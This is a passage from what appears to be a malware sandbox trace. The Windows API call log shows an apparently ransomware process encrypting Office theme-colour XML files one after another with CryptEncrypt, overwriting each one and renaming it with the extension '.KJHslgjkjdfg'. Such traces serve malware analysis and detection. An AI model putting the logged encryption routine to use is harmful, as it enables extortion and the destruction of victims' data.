lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x3c2, lpOverlapped=0x0) returned 1 [0220.728] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x3d0, dwBufLen=0x3d0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x3d0) returned 1 [0220.728] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.728] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x3d0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x3d0, lpOverlapped=0x0) returned 1 [0220.728] CryptDestroyKey (hKey=0x9b6628) returned 1 [0220.728] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x4a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.728] SetEndOfFile (hFile=0x130) returned 1 [0220.731] GetProcessHeap () returned 0x990000 [0220.731] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0220.731] GetProcessHeap () returned 0x990000 [0220.731] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0220.731] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Couture.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\couture.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Couture.xml.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\couture.xml.kjhslgjkjdfg")) returned 1 [0220.733] CloseHandle (hObject=0x130) returned 1 [0220.733] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x15248e00, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x603ce830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x15248e00, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x3c4, dwReserved0=0x77c7389e, dwReserved1=0x990138, cFileName="Elemental.xml", cAlternateFileName="ELEMEN~1.XML")) returned 1 [0220.733] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Elemental.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\elemental.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0220.735] GetProcessHeap () returned 0x990000 [0220.735] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0220.735] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0220.735] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0220.735] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0220.737] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0220.737] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0220.737] GetProcessHeap () returned 0x990000 [0220.737] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0220.737] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0220.737] CryptDestroyKey (hKey=0x9b6628) returned 1 [0220.738] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0220.738] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0220.738] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0220.738] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0220.738] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0220.738] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0220.738] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0220.738] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0220.738] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.738] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x3c4, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x3c4, lpOverlapped=0x0) returned 1 [0220.738] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x3d0, dwBufLen=0x3d0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x3d0) returned 1 [0220.738] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.739] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x3d0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x3d0, lpOverlapped=0x0) returned 1 [0220.739] CryptDestroyKey (hKey=0x9b6628) returned 1 [0220.739] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x4a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.739] SetEndOfFile (hFile=0x130) returned 1 [0220.741] GetProcessHeap () returned 0x990000 [0220.742] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0220.742] GetProcessHeap () returned 0x990000 [0220.742] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0220.742] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Elemental.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\elemental.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Elemental.xml.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\elemental.xml.kjhslgjkjdfg")) returned 1 [0220.744] CloseHandle (hObject=0x130) returned 1 [0220.744] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0301b00, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x51c9cf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf0301b00, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x3c1, dwReserved0=0x77c7389e, dwReserved1=0x990138, cFileName="Equity.xml", cAlternateFileName="")) returned 1 [0220.744] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Equity.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\equity.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0220.745] GetProcessHeap () returned 0x990000 [0220.746] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0220.746] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0220.746] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0220.746] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xf, lpOverlapped=0x0) returned 1 [0220.748] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0220.748] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0220.748] GetProcessHeap () returned 0x990000 [0220.748] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x30) returned 0x9b4db8 [0220.748] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b4db8*, pdwDataLen=0x29df258*=0x30, dwBufLen=0x30 | out: pbData=0x9b4db8*, pdwDataLen=0x29df258*=0x30) returned 1 [0220.748] CryptDestroyKey (hKey=0x9b6628) returned 1 [0220.748] WriteFile (in: hFile=0x130, lpBuffer=0x9b4db8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b4db8*, lpNumberOfBytesWritten=0x29df270*=0x30, lpOverlapped=0x0) returned 1 [0220.749] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0220.749] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0220.749] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0220.749] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0220.749] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0220.749] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0220.749] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0220.749] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.749] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x3c1, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x3c1, lpOverlapped=0x0) returned 1 [0220.749] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x3d0, dwBufLen=0x3d0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x3d0) returned 1 [0220.749] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.749] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x3d0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x3d0, lpOverlapped=0x0) returned 1 [0220.750] CryptDestroyKey (hKey=0x9b6628) returned 1 [0220.750] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x494, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.750] SetEndOfFile (hFile=0x130) returned 1 [0220.752] GetProcessHeap () returned 0x990000 [0220.752] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b4db8 | out: hHeap=0x990000) returned 1 [0220.752] GetProcessHeap () returned 0x990000 [0220.753] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0220.753] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Equity.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\equity.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Equity.xml.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\equity.xml.kjhslgjkjdfg")) returned 1 [0220.755] CloseHandle (hObject=0x130) returned 1 [0220.755] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4741800, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x603ce830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4741800, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x3a0, dwReserved0=0x77c7389e, dwReserved1=0x990138, cFileName="Essential.xml", cAlternateFileName="ESSENT~1.XML")) returned 1 [0220.755] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Essential.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\essential.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0220.756] GetProcessHeap () returned 0x990000 [0220.756] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0220.756] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0220.756] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0220.757] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0220.757] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0220.757] GetProcessHeap () returned 0x990000 [0220.757] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0220.757] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0220.757] CryptDestroyKey (hKey=0x9b6628) returned 1 [0220.757] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0220.759] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0220.759] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0220.759] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0220.759] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0220.759] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0220.760] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0220.760] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0220.760] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.760] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x3a0, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x3a0, lpOverlapped=0x0) returned 1 [0220.760] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x3a0, dwBufLen=0x3a0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x3a0) returned 1 [0220.760] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.760] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x3a0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x3a0, lpOverlapped=0x0) returned 1 [0220.760] CryptDestroyKey (hKey=0x9b6628) returned 1 [0220.760] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x474, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.760] SetEndOfFile (hFile=0x130) returned 1 [0220.761] GetProcessHeap () returned 0x990000 [0220.761] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0220.761] GetProcessHeap () returned 0x990000 [0220.761] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0220.761] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Essential.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\essential.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Essential.xml.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\essential.xml.kjhslgjkjdfg")) returned 1 [0220.763] CloseHandle (hObject=0x130) returned 1 [0220.763] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1655bb00, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x51c9cf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1655bb00, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x3c4, dwReserved0=0x77c7389e, dwReserved1=0x990138, cFileName="Executive.xml", cAlternateFileName="EXECUT~1.XML")) returned 1 [0220.763] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Executive.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\executive.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0220.764] GetProcessHeap () returned 0x990000 [0220.764] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0220.764] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0220.764] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0220.764] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0220.768] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0220.768] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0220.768] GetProcessHeap () returned 0x990000 [0220.768] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0220.768] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0220.768] CryptDestroyKey (hKey=0x9b6628) returned 1 [0220.768] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0220.769] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0220.769] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0220.769] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0220.769] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0220.769] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0220.769] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0220.769] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0220.769] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.769] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x3c4, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x3c4, lpOverlapped=0x0) returned 1 [0220.769] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x3d0, dwBufLen=0x3d0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x3d0) returned 1 [0220.769] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.769] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x3d0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x3d0, lpOverlapped=0x0) returned 1 [0220.769] CryptDestroyKey (hKey=0x9b6628) returned 1 [0220.770] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x4a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.770] SetEndOfFile (hFile=0x130) returned 1 [0220.772] GetProcessHeap () returned 0x990000 [0220.772] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0220.773] GetProcessHeap () returned 0x990000 [0220.773] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0220.773] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Executive.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\executive.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Executive.xml.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\executive.xml.kjhslgjkjdfg")) returned 1 [0220.775] CloseHandle (hObject=0x130) returned 1 [0220.775] 